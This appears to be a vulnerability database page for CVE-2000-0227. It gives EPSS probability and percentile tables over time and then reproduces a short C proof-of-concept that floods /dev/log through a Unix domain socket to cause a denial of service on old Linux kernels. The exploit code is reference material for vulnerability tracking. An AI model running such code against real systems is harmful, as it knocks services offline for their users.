CVE-2000-0227 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.19%
2025-03-30	–	–	–	–	0.17%
2025-04-06	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17%
2025-04-15	–	–	–	–	0.17,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	39%
2025-03-30	34%
2025-04-06	35%
2025-04-15	39%
2025-04-15	39%

/* source: https://www.securityfocus.com/bid/1072/info A denial of service exists in Linux kernels, as related to Unix domain sockets ignoring limits as set in /proc/sys/net/core/wmem_max. By creating successive Unix domain sockets, it is possible to cause a denial of service in some versions of the Linux kernel. Versions 2.2.12, 2.2.14, and 2.3.99-pre2 have all been confirmed as being vulnerable. Previous kernel versions are most likely vulnerable. */ #include <sys/types.h> #include <sys/socket.h> #include <string.h> char buf[128 * 1024]; int main ( int argc, char **argv ) { struct sockaddr SyslogAddr; int LogFile; int bufsize = sizeof(buf)-5; int i; for ( i = 0; i < bufsize; i++ ) buf[i] = ' '+(i%95); buf[i] = '\0'; SyslogAddr.sa_family = AF_UNIX; strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) ); LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); return 0; }